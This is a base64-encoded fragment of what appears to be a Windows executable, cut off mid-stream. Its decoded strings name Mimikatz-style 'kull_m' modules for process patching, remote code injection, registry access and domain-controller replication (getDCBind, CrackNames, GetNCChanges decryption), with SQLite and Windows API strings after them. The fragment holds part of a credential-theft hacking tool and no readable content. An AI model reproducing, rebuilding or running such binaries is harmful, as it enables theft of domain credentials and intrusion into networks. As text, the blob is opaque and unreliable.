AAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABLAE8ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABLAE8ACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8ATwBwAGUAbgBBAG4AZABRAHUAZQByAHkAVwBpAHQAaABBAGwAbABvAGMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQATwBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFMAZQB0AEEAdQB0AGgASQBuAGYAbwBFAHgAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABOAG8AIABCAGkAbgBkAGkAbgBnACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAFMAdAByAGkAbgBnAEIAaQBuAGQAaQBuAGcAQwBvAG0AcABvAHMAZQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAFAAcgBvAHQAZQBjAHQAZQBkAFMAdABvAHIAYQBnAGUAAAAAAFwAcABpAHAAZQBcAHAAcgBvAHQAZQBjAHQAZQBkAF8AcwB0AG8AcgBhAGcAZQAAAG4AYwBhAGMAbgBfAG4AcAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGIAawByAHAAXwBnAGUAbgBlAHIAaQBjACAAOwAgAEIAYQBjAGsAdQBwAHIASwBlAHkAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBiAGsAcgBwAF8AZwBlAG4AZQByAGkAYwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABRAHUAZQByAHkAQwBvAG4AdABlAHgAdABBAHQAdAByAGkAYgB1AHQAZQBzACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAEkAXwBSAHAAYwBCAGkAbgBkAGkAbgBnAEkAbgBxAFMAZQBjAHUAcgBpAHQAeQBDAG8AbgB0AGUAeAB0ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAEQAQwAgACcAJQBzACcAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAYgBhAGQAIAB2AGUAcgBzAGkAbwBuACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAG4AYwBvAHIAcgBlAGMAdAAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0ACAAKAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAEkAbgBjAG8AcgByAGUAYwB0ACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQAIABTAGkAegBlACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABOAG8AIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAEQATABfAEQAUgBTAEIAaQBuAGQAOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAATgBPAF8ARQBSAFIATwBSAAAAAABFAFIAUgBPAFIAXwBSAEUAUwBPAEwAVgBJAE4ARwAAAEUAUgBSAE8AUgBfAE4ATwBUAF8ARgBPAFUATgBEAAAARQBSAFIATwBSAF8ATgBPAFQAXwBVAE4ASQBRAFUARQAAAAAARQBSAFIATwBSAF8ATgBPAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8ARABPAE0AQQBJAE4AXwBPAE4ATABZAAAARQBSAFIATwBSAF8ATgBPAF8AUwBZAE4AVABBAEMAVABJAEMAQQBMAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8AVABSAFUAUwBUAF8AUgBFAEYARQBSAFIAQQBMAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzACAAKABuAGEAbQBlACAAcwB0AGEAdAB1AHMAKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApACAALQAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAbgBvACAAaQB0AGUAbQAhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwBoAGUAYwBrAHMAdQBtAHMAIABkAG8AbgAnAHQAIABtAGEAdABjAGgAIAAoAEMAOgAwAHgAJQAwADgAeAAgAC0AIABSADoAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwBhAGwAYwB1AGwAYQB0AGUAIABDAFIAQwAzADIACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIAB2AGEAbABpAGQAIABkAGEAdABhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIABTAGUAcwBzAGkAbwBuACAASwBlAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBDAFIAQQBDAEsAUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABuAGEAbQBlAEMAcgBhAGMAawBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZABjAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAABTAGUAcgB2AGkAYwBlAHMAQQBjAHQAaQB2AGUAAAAAACUAdwBaAAAAJQAwADIAeAAAAAAAJQAwADIAeAAgAAAAMAB4ACUAMAAyAHgALAAgAAAAAABcAHgAJQAwADIAeAAAAAAACgBCAFkAVABFACAAZABhAHQAYQBbAF0AIAA9ACAAewAKAAkAAAAAAAkAAAAKAH0AOwAKAAAAAAAlAHMAIAAAACUAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBkAGkAcwBwAGwAYQB5AFMASQBEACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFUAcwBlAHIAAAAAAEcAcgBvAHUAcAAAAEQAbwBtAGEAaQBuAAAAAABBAGwAaQBhAHMAAABXAGUAbABsAEsAbgBvAHcAbgBHAHIAbwB1AHAAAAAAAEQAZQBsAGUAdABlAGQAQQBjAGMAbwB1AG4AdAAAAAAASQBuAHYAYQBsAGkAZAAAAFUAbgBrAG4AbwB3AG4AAABDAG8AbQBwAHUAdABlAHIAAAAAAEwAYQBiAGUAbAAAAHUAbgBrACEAAAAAAFQAbwBrAGUAbgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AeABtAGwAXwBDAHIAZQBhAHQAZQBBAG4AZABJAG4AaQB0AEQATwBNACAAOwAgAEMAbwBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwB4AG0AbABfAEwAbwBhAGQAWABNAEwARgBpAGwAZQAgADsAIABJAFgATQBMAEQATwBNAEQAbwBjAHUAbQBlAG4AdABfAGwAbwBhAGQAOgAgADAAeAAlADAAOAB4AAoAAAAAADAAAAAxAAAAJUg6JU06JVMAAAAAY3VycmVudF90aW1lAAAAACVZLSVtLSVkAAAAAGN1cnJlbnRfZGF0ZQAAAAAlWS0lbS0lZCAlSDolTTolUwAAAGN1cnJlbnRfdGltZXN0YW1wAAAAZmFpbGVkIHRvIGFsbG9jYXRlICV1IGJ5dGVzIG9mIG1lbW9yeQAAAGZhaWxlZCBtZW1vcnkgcmVzaXplICV1IHRvICV1IGJ5dGVzACUAAABOVUxMAAAAAChOVUxMKQAALgAAADkyMjMzNzIwMzY4NTQ3NzU4MAAAQVBJIGNhbGwgd2l0aCAlcyBkYXRhYmFzZSBjb25uZWN0aW9uIHBvaW50ZXIAAAAAdW5vcGVuZWQAAAAAaW52YWxpZABBcmVGaWxlQXBpc0FOU0kAQ2hhckxvd2VyVwAAQ2hhclVwcGVyVwAAQ2xvc2VIYW5kbGUAQ3JlYXRlRmlsZUEAQ3JlYXRlRmlsZVcAQ3JlYXRlRmlsZU1hcHBpbmdBAABDcmVhdGVGaWxlTWFwcGluZ1cAAENyZWF0ZU11dGV4VwAAAABEZWxldGVGaWxlQQBEZWxldGVGaWxlVwBGaWxlVGltZVRvTG9jYWxGaWxlVGltZQBGaWxlVGltZVRvU3lzdGVtVGltZQAAAABGbHVzaEZpbGVCdWZmZXJzAAAAAEZvcm1hdE1lc3NhZ2VBAABGb3JtYXRNZXNzYWdlVwAARnJlZUxpYnJhcnkAR2V0Q3VycmVudFByb2Nlc3NJZABHZXREaXNrRnJlZVNwYWNlQQAAAEdldERpc2tGcmVlU3BhY2VXAAAAR2V0RmlsZUF0dHJpYnV0ZXNBAABHZXRGaWxlQXR0cmlidXRlc1cAAEdldEZpbGVBdHRyaWJ1dGVzRXhXAAAAAEdldEZpbGVTaXplAEdldEZ1bGxQYXRoTmFtZUEAAAAAR2V0RnVsbFBhdGhOYW1lVwAAAABHZXRMYXN0RXJyb3IAAAAAR2V0UHJvY0FkZHJlc3NBAEdldFN5c3RlbUluZm8AAABHZXRTeXN0ZW1UaW1lAAAAR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAR2V0VGVtcFBhdGhBAAAAAEdldFRlbXBQYXRoVwAAAABHZXRUaWNrQ291bnQAAAAAR2V0VmVyc2lvbkV4QQAAAEdldFZlcnNpb25FeFcAAABIZWFwQWxsb2MAAABIZWFwQ3JlYXRlAABIZWFwRGVzdHJveQBIZWFwRnJlZQAAAABIZWFwUmVBbGxvYwBIZWFwU2l6ZQAAAABIZWFwVmFsaWRhdGUAAAAASGVhcENvbXBhY3QATG9hZExpYnJhcnlBAAAAAExvYWRMaWJyYXJ5VwAAAABMb2NhbEZyZWUAAABMb2NrRmlsZQAAAABMb2NrRmlsZUV4AABNYXBWaWV3T2ZGaWxlAAAATXVsdGlCeXRlVG9XaWRlQ2hhcgBRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgBSZWFkRmlsZQAAAABTZXRFbmRPZkZpbGUAAAAAU2V0RmlsZVBvaW50ZXIAAFNsZWVwAAAAU3lzdGVtVGltZVRvRmlsZVRpbWUAAAAAVW5sb2NrRmlsZQAAVW5sb2NrRmlsZUV4AAAAAFVubWFwVmlld09mRmlsZQBXaWRlQ2hhclRvTXVsdGlCeXRlAFdyaXRlRmlsZQAAAENyZWF0ZUV2ZW50RXhXAABXYWl0Rm9yU2luZ2xlT2JqZWN0AFdhaXRGb3JTaW5nbGVPYmplY3RFeAAAAFNldEZpbGVQb2ludGVyRXgAAAAAR2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVFeAAAAABNYXBWaWV3T2ZGaWxlRnJvbUFwcAAAAABDcmVhdGVGaWxlMgBMb2FkUGFja2FnZWRMaWJyYXJ5AEdldFRpY2tDb3VudDY0AABHZXROYXRpdmVTeXN0ZW1JbmZvAE91dHB1dERlYnVnU3RyaW5nQQAAT3V0cHV0RGVidWdTdHJpbmdXAABHZXRQcm9jZXNzSGVhcAAAQ3JlYXRlRmlsZU1hcHBpbmdGcm9tQXBwAAAAAEludGVybG9ja2VkQ29tcGFyZUV4Y2hhbmdlAABVdWlkQ3JlYXRlAABVdWlkQ3JlYXRlU2VxdWVudGlhbAAAAABGbHVzaFZpZXdPZkZpbGUAT3NFcnJvciAweCVseCAoJWx1KQAlcwAAb3Nfd2luLmM6JWQ6ICglbHUpICVzKCVzKSAtICVzAABkZWxheWVkICVkbXMgZm9yIGxvY2svc2hhcmluZyBjb25mbGljdCBhdCBsaW5lICVkAAAAd2luU2Vla0ZpbGUAd2luQ2xvc2UAAAAAd2luUmVhZAB3aW5Xcml0ZTEAAAB3aW5Xcml0ZTIAAAB3aW5UcnVuY2F0ZTEAAAAAd2luVHJ1bmNhdGUyAAAAAHdpblN5bmMxAAAAAHdpblN5bmMyAAAAAHdpbkZpbGVTaXplAHdpblVubG9ja1JlYWRMb2NrAAAAd2luVW5sb2NrAAAAd2luVW5tYXBmaWxlMQAAAHdpblVubWFwZmlsZTIAAAB3aW5NYXBmaWxlMQB3aW5NYXBmaWxlMgBldGlscXNfAHdpbkdldFRlbXBuYW1lMQB3aW5HZXRUZW1wbmFtZTIAd2luR2V0VGVtcG5hbWUzAHdpbkdldFRlbXBuYW1lNAB3aW5HZXRUZW1wbmFtZTUAd2luT3BlbgBwc293AAAAAHdpbkRlbGV0ZQAAAHdpbkFjY2VzcwAAACVzJWMlcwAAd2luRnVsbFBhdGhuYW1lMQAAAAB3aW5GdWxsUGF0aG5hbWUyAAAAAHdpbkZ1bGxQYXRobmFtZTMAAAAAd2luRnVsbFBhdGhuYW1lNAAAAAB3aW4zMgAAAHdpbjMyLWxvbmdwYXRoAAByZWNvdmVyZWQgJWQgcGFnZXMgZnJvbSAlcwAALWpvdXJuYWwAAAAAbm9sb2NrAABpbW11dGFibGUAAABvdXQgb2YgbWVtb3J5AAAAJWxsZAAAAAAlIS4xNWcAAC0AAAAlcyVzAAAAACVzLW1qWFhYWFhYOVhYegBNSiBkZWxldGU6ICVzAAAATUogY29sbGlkZTogJXMAAC1taiUwNlg5JTAyWAAAAABBUEkgY2FsbGVkIHdpdGggZmluYWxpemVkIHByZXBhcmVkIHN0YXRlbWVudAAAAABBUEkgY2FsbGVkIHdpdGggTlVMTCBwcmVwYXJlZCBzdGF0ZW1lbnQAc3RyaW5nIG9yIGJsb2IgdG9vIGJpZwAAdW5hYmxlIHRvIHVzZSBmdW5jdGlvbiAlcyBpbiB0aGUgcmVxdWVzdGVkIGNvbnRleHQAAGJpbmQgb24gYSBidXN5IHByZXBhcmVkIHN0YXRlbWVudDogWyVzXQBOT1QgTlVMTAAAAABVTklRVUUAAENIRUNLAAAARk9SRUlHTiBLRVkAJXMgY29uc3RyYWludCBmYWlsZWQAAAAAJXo6ICVzAABhYm9ydCBhdCAlZCBpbiBbJXNdOiAlcwBjYW5ub3Qgb3BlbiBzYXZlcG9pbnQgLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAbm8gc3VjaCBzYXZlcG9pbnQ6ICVzAAAAY2Fubm90IHJlbGVhc2Ugc2F2ZXBvaW50IC0gU1FMIHN0YXRlbWVudHMgaW4gcHJvZ3Jlc3MAAABjYW5ub3QgY29tbWl0IHRyYW5zYWN0aW9uIC0gU1FMIHN0YXRlbWVudHMgaW4gcHJvZ3Jlc3MAAGNhbm5vdCBzdGFydCBhIHRyYW5zYWN0aW9uIHdpdGhpbiBhIHRyYW5zYWN0aW9uAGNhbm5vdCByb2xsYmFjayAtIG5vIHRyYW5zYWN0aW9uIGlzIGFjdGl2ZQAAY2Fubm90IGNvbW1pdCAtIG5vIHRyYW5zYWN0aW9uIGlzIGFjdGl2ZQAAAABkYXRhYmFzZSBzY2hlbWEgaGFzIGNoYW5nZWQAc3FsaXRlX21hc3RlcgAAAAAAAABTRUxFQ1QgbmFtZSwgcm9vdHBhZ2UsIHNxbCBGUk9NICclcScuJXMgV0hFUkUgJXMgT1JERVIgQlkgcm93aWQAc3RhdGVtZW50IGFib3J0cyBhdCAlZDogWyVzXSAlcwBtaXN1c2Ugb2YgYWxpYXNlZCBhZ2dyZWdhdGUgJXMAAG5vIHN1Y2ggY29sdW1uAABhbWJpZ3VvdXMgY29sdW1uIG5hbWUAAAAlczogJXMuJXMuJXMAAAAAJXM6ICVzLiVzAAAAJXM6ICVzAABwYXJ0aWFsIGluZGV4IFdIRVJFIGNsYXVzZXMAaW5kZXggZXhwcmVzc2lvbnMAAAAlcyBwcm9oaWJpdGVkIGluICVzAHRoZSAiLiIgb3BlcmF0b3IAAAAAZnVuY3Rpb25zAAAAc2Vjb25kIGFyZ3VtZW50IHRvIGxpa2VsaWhvb2QoKSBtdXN0IGJlIGEgY29uc3RhbnQgYmV0d2VlbiAwLjAgYW5kIDEuMAAAbm9uLWRldGVybWluaXN0aWMgZnVuY3Rpb25zAG1pc3VzZSBvZiBhZ2dyZWdhdGUgZnVuY3Rpb24gJS4qcygpAG5vIHN1Y2ggZnVuY3Rpb246ICUuKnMAAHdyb25nIG51bWJlciBvZiBhcmd1bWVudHMgdG8gZnVuY3Rpb24gJS4qcygpAAAAAHN1YnF1ZXJpZXMAAHBhcmFtZXRlcnMAACVyICVzIEJZIHRlcm0gb3V0IG9mIHJhbmdlIC0gc2hvdWxkIGJlIGJldHdlZW4gMSBhbmQgJWQAdG9vIG1hbnkgdGVybXMgaW4gT1JERVIgQlkgY2xhdXNlAAAAT1JERVIAAAAlciBPUkRFUiBCWSB0ZXJtIGRvZXMgbm90IG1hdGNoIGFueSBjb2x1bW4gaW4gdGhlIHJlc3VsdCBzZXQAAAAAdG9vIG1hbnkgdGVybXMgaW4gJXMgQlkgY2xhdXNlAABhIEdST1VQIEJZIGNsYXVzZSBpcyByZXF1aXJlZCBiZWZvcmUgSEFWSU5HAEdST1VQAAAAYWdncmVnYXRlIGZ1bm